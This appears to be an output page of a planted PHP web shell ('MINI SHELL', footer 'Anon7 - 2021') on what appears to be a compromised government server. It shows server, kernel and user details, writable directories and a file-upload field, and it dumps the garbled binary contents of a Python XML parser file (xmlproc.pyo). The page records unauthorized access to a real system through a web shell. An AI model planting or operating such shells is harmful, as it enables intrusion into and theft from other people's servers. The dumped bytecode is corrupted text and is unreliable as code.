MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/parsers/xmlproc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/parsers/xmlproc/xmlproc.pyo
mò
SÑX=c@s~dZdkZdkZdkZdkZeiZeiZdk	Tdk
TdkTdkTdZ
dZdefd„ƒYZdS(sµ
The main module of the parser. All other modules will be imported into this
one, so this module is the only one one needs to import. For validating
parsing, import xmlval instead.
N(t*s0.70s$Revision: 1.25 $tXMLProcessorcBstZdZd„Zd„Zd„Zdd„Zd„Zed„Z	d„Z
d	„Zd
„Zd„Z
d„Zd
„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z RS(s8A parser that performs a complete well-formedness check.cCsJti|ƒtƒ|_t|ƒ|_|i|_d|_	d|_
dS(Ni(tEntityParsert__init__tselftApplicationtapptWFCDTDtdtdtenttNonetdtd_listenert
stop_on_wf(R((tD/usr/lib/python2.4/site-packages/_xmlplus/parsers/xmlproc/xmlproc.pyRs
	cCs||_|i|ƒdS(s'Sets the object to send data events to.N(RRtset_locator(RR((R
tset_application's	cCs
||_dS(s6Registers an object that listens for DTD parse events.N(tlistenerRR(RR((R
tset_dtd_listener,sicCs
||_dS(sèSets the parser policy on well-formedness errors. If this is set to
        0 data events are still delivered, even after well-formedness errors.
        Otherwise no more data events reach the application after such erors.
        N(RR(RR((R
tset_data_after_wf_error0scCs
||_dS(sQTells the parser whether to read the external subset of documents
        or not.N(tread_itRtread_external_subset(RR((R
tset_read_external_subset7scCs>|io|djotƒ|_nti|||ƒdS(Ni·(RRtnumberRRRtreport_errortargs(RRR((R
R<scCshti|ƒt|dƒo|iiƒng|_d|_d|_d|_d|_	d|_
dS(NRii(RtresetRthasattrRtstackt	seen_roottseen_doctypetseen_xmldeclRR(R((R
RAs
					cCs)d|_|_|_|_|_dS(sDeletes circular references.N(R
RRR	terrRtpubres(R((R
tderefNscCsy›x”|i|ijo€|i|_|i|idjoü|i|id}|djo|iƒq•|djo|djo|iƒq•|idƒo|i	|i
ƒq•|idƒo|i|i
dƒq•|idƒo|iƒq•|id	ƒo|i
ƒq•|id
ƒ|idƒq|i|idjo<|id
ƒo|iƒq•|id|_|iƒq|iƒqWWnltj
o,}|io
tƒ‚q
|i|_n6tj
o)}|io
|‚q
|i|_nXdS(sDoes the actual parsing.t<it/t!t?s<!--s<?s	<![CDATA[s	<!DOCTYPEiÅt>t&s&#N(Rtpostdatasizetprepostdatattt
parse_end_tagtparse_start_tagtnow_att
parse_commentRtparse_pitparse_cdatat
parse_doctypeRtscan_tot
parse_charreft
parse_ent_reft
parse_datat
IndexErrortetfinaltOutOfDataException(RR9R,((R
tdo_parseRsF





cCs|iiƒdS(s=Must be called before parsing starts. (Notifies application.)N(RRt	doc_start(R((R
t
parseStart„scCsg|igjo+|igjo|id|idƒn|ip|idƒn|iiƒdS(sdMust be called when parsing is finished. (Does some checks and "
        "notifies the application.)iÆiÿÿÿÿiÇN(RRt	ent_stackRRRtdoc_end(R((R
tparseEndˆs 
cCs²|id|_|iƒ}|iƒy&|ii|\}}|i	ƒ}Wnt
j
oh}h}nX|i|idjow|i|idjo`h}xW|i
dƒoA|i
dƒo0|iƒ}|iƒ|idƒp(|iddƒ|idƒd}Pn|iƒ|iƒ}|djoD|id|_|i|iddjo|id|_nPn|i|ƒo|id	|ƒnd||<|||<|i|ƒo%|||jo|id
|ƒn|iƒq¥Wn|igjo|io|idƒnd|_|idƒo'|ii||ƒ|ii|ƒnH|idƒo'|ii||ƒ|ii|ƒn|iddƒdS(sParses the start tag.iR&R#s/>t=i½tiÿÿÿÿiÈiÐiÉi¼s'>'N(s'>'s/>(RR(t	_get_nametnametskip_wsRtattrinfotattrstfixedstcopytKeyErrorR+tseenttest_strta_nameR/RR4ta_valt
parse_att_valthas_keyRRRthandle_start_tagtappendthandle_end_tag(RRNRERIRHRLRO((R
R.’sZ
."





!	cCsOd}|idƒod}t}nB|idƒod}t}n"|iddƒ|idƒdSxá|i	|ƒ}|t|ƒ}|i|ƒoPn|idƒo||iƒ}na|id	ƒo|i
ƒ}||ijo|id
ƒdSn|ii|ƒy—|ii|ƒ}|iƒog|i|iƒ|i|ƒd|_||iƒ}|i|ijp|idƒn|iƒn|id
ƒWn#tj
o|id|ƒnX|id=nE|idƒo|idƒqjn!|idƒ|id|_qj|idƒp|iddƒqjqjW|S(sCParses an attribute value and resolves all entity references in it.RCt"t'i¼R&iÿÿÿÿis&#R'iËNi¹iÌiÍR"iÎi¡t;i½(RVRU(tvalRR/tdelimtreg_attval_stop_quotetreg_attval_stoptreg_attval_stop_singRR4tfind_regtpiecetws_transt_read_char_refRDREt	open_entsRSR	t
resolve_getis_internaltpush_entitytget_current_sysidtvalueR:tparse_literal_entvalR(R)t
pop_entityRK(RR[RERXRYR	R^((R
RPÍs`





	

cCsÿd}tidƒ}xãy|i|ƒ}Wn:tj
o.|t|i	|i
ƒ}|i|_
PnX|t|ƒ}|idƒo||i
ƒ}n*|idƒo|iƒ}||ijo|idƒdSn|ii|ƒy—|ii|ƒ}|iƒog|i|iƒ|i|ƒd|_||iƒ}|i
|ijp|idƒn|iƒn|idƒWn#tj
o|id|ƒnX|id	=n|id
ƒ|idƒp!|iddƒ|id
ƒqqW|S(sBParses a literal entity value for insertion in an attribute value.RCR'is&#iËi¹iÌiÍiÿÿÿÿi¡RWi½R&N(RXtretcompiletreg_stopRR]R^R;R_R+R(R)R/R`RDRERaRRSR	RbRcRdReRfR:RgRhRKR4(RRERXR	RkR^((R
RgsN


	
cCs9|id|_|iƒ}|i|idjo2|iƒ|idƒp|iddƒqun|id|_yŠ|id}||job|id||fƒt
|iƒdjo"|id|jo|id=qþ|ii|ƒn|id=Wn#tj
o|id|ƒnX|i
i|ƒd	S(
s6Parses the end tag from after the '</' and beyond '>'.iR&i½iiÿÿÿÿiÏiiÐN(RR(RDRER+RFR/RRtelemtlenRSR8RRT(RRERl((R
R-Js&


*cCs‹|i}t|id|iƒ}|djoMt|id|iƒ}|djo$|ip
tƒ‚n|i}q­n3t|id|i|ƒ}|djo
|}n||_t|id||ƒdjo<t|id||ƒ|_|i
dƒ|id|_n|igjoMti
|i|ƒ}|d	jp|idƒ|jo|i
dƒq‡n|ii|i||ƒd	S(
sParses character data.R"iÿÿÿÿR's]]>iÑiiiÕN(RR(tstarttstring_findR+tendR:R;R)tampendRRtreg_wstmatchtresR
Rthandle_data(RRpRtRqRn((R
R7gs,	





	
#cCs|idƒot|itƒƒ}nCyt|itƒƒ}Wn&tj
o|i	dƒd}nX|idƒp|i	ddƒn|djodSn|djp1|djp$|djp|d	jo
|d
jpi|d
joHto-|djo |ii
t|ƒdd
ƒqJ|i	d|ƒq‹|i	d|ƒn>|igjo|i	dƒn|ii
t|ƒdd
ƒdS(sParses a character reference.txiÓRWi½Ni	i
i
i iÿiiiiíiÊiÔ(RR/tunhext	get_matchtreg_hex_digitstdigstintt
reg_digitst
ValueErrorRR
t
using_unicodeRRutxml_chrR(RRz((R
R5†s*

A
 cCs]|idƒ}|igjo|idƒn|ii|i|i|ƒ|d|_dS(s9Parses a CDATA marked section from after the '<![CDATA['.s]]>iÕiN(	Rt	get_indextnew_posRRRRuR+R((RR((R
R2¢scCsà|iƒ}|idƒp|iddƒny|ii|ƒ}Wn'tj
o|id|ƒdSnX|i|ijo|idƒdSn|ii	|iƒ|i
gjo|idƒnt|i
ƒ}|i
ƒoe|i|iƒ|i|ƒy|iƒWn tj
o|idƒnX|iƒ|iƒn_|idjo|idƒn>d	|_|i|ii|iƒ|iƒƒ|ƒd
|_|t|i
ƒjo|idƒn|id=dS(
s5Parses a general entity reference from after the '&'.RWi½iÍNiËiÖi¹i×iiiâiÿÿÿÿ(RRDRER/RR	RbRKRaRSRRmt
stack_sizeRcRdReRfR<R;tflushRhtnotationR
Rtopen_entityR tresolve_entity_pubidt	get_pubidt	get_sysid(RRER	R‚((R
R6ªsD	


		cCsó|io|idƒn|io|idƒn|idƒ|iƒ}|idƒ|iƒ\}}|iƒ|i
i|||ƒ|ii
ƒ|idƒo|iƒn%|idƒp|iddƒn|d
jp
|d
jo¹|iƒo.ti|ƒddjo|id	|ƒn|ioo|idƒ}z>|ii||ƒ}d|_|it|iƒ|ƒƒWd
|iƒ|ii|ƒXq°n|d
jo
|d
jp|io|iiƒnd|_d
S(s%Parses the document type declaration.iØiÙit[R&i½iRCièN(RRRRRFRDtrootnametparse_external_idtpub_idtsys_idRthandle_doctypeRt	dtd_startR/tparse_internal_dtdR
ReturlparseRt_setup_dtd_parsertpR tresolve_doctype_pubidtdtd_start_calledtparse_resourcetjoin_sysidsR!RRtdtd_end(RRŒR“RŠR((R
R3Ús@





(
	
%cCsU|iƒ|iƒ|i}|i}d}x|itƒ|i	dƒo|i
dƒq/|i	dƒo|i
dƒq/|i	dƒo|i
dƒq/|i	dƒo|i
dƒq/|i	d	ƒo|i
d
ƒq/|i	dƒo=|i}|i
ƒ|i	dƒo|i|d}Pq.q/q/W|i|||iƒ| ƒd
S(s&Parse the internal DTD beyond the '['.iis"RVs<?s?>s<!--s-->s<![s]]>t]R&N(Rtset_start_pointt
update_postlinet
last_breaktlbtlast_part_sizeR]treg_int_dtdR/R4R(R“RFthandle_internal_dtdt
get_region(RRžRŸR“Rœ((R
R
s4

		
	
cCsz{|idƒ}yE||_||_|i|iƒƒd|_	|i
|ddƒWn tj
o|i
dƒnXWd|iƒ|ii|ƒXdS(sHandles the internal DTD.itdecodediÚN(RR’R“tdoctype_lineRœt
doctype_lbRt	set_sysidReR:tfeedtint_dtdR;RR!RR(RR¤R¥R¨R“((R
R¡%s			
cCs±tƒ}|i|iƒ|i|iƒ|i|iƒ|i	|i
ƒ|i|iƒ|i
|iƒ|idjo|ii|iƒn|i|ƒ|ii|ƒ|S(N(t	DTDParserR“tset_error_handlerRRtset_dtd_consumerRtset_error_languageterr_langtset_inputsource_factorytisftset_pubid_resolverR tset_dtd_objectRR
Rtset_internaltinternal_subsetR(RR³R“((R
R’6s	
cCs|iS(s>Returns the internal element stack. Note: this is a live list!N(RR(R((R
tget_elem_stackFscCs|iS(s Returns the current data buffer.N(RR+(R((R
tget_data_bufferJscCs|iS(sPReturns the start position of the current construct (tag, comment,
        etc).N(RR*(R((R
tget_construct_startNscCs|iS(sNReturns the end position of the current construct (tag, comment,
        etc).N(RR((R((R
tget_construct_endSscCs|i|i|i!S(s.Returns the raw form of the current construct.N(RR+R*R((R((R
tget_raw_constructXscCstd„|iƒS(ssReturns a snapshot of the entity stack. A list of the system
        identifier of the entity and its name, if any.cCs|d|dfS(Nii	(R	(R	((R
t<lambda>_sN(tmapRR?(R((R
tget_current_ent_stack\s(!t__name__t
__module__t__doc__RRRRRR
RRR!R<R>RAR.RPRgR-R7R5R2R6R3RR¡R’R´RµR¶R·R¸R»(((R
Rs<	
				
		2		
	;	C	:					0	0								(R¾RitstringtsysR‘t	translatetstring_translatetfindRot	dtdparsertxmlutilstxmlapptxmldtdtversiontrevisiontXMLCommonParserR(	R‘R¿RoRÂRÀRiRÈRRÉ((R
R%s$		

Anon7 - 2021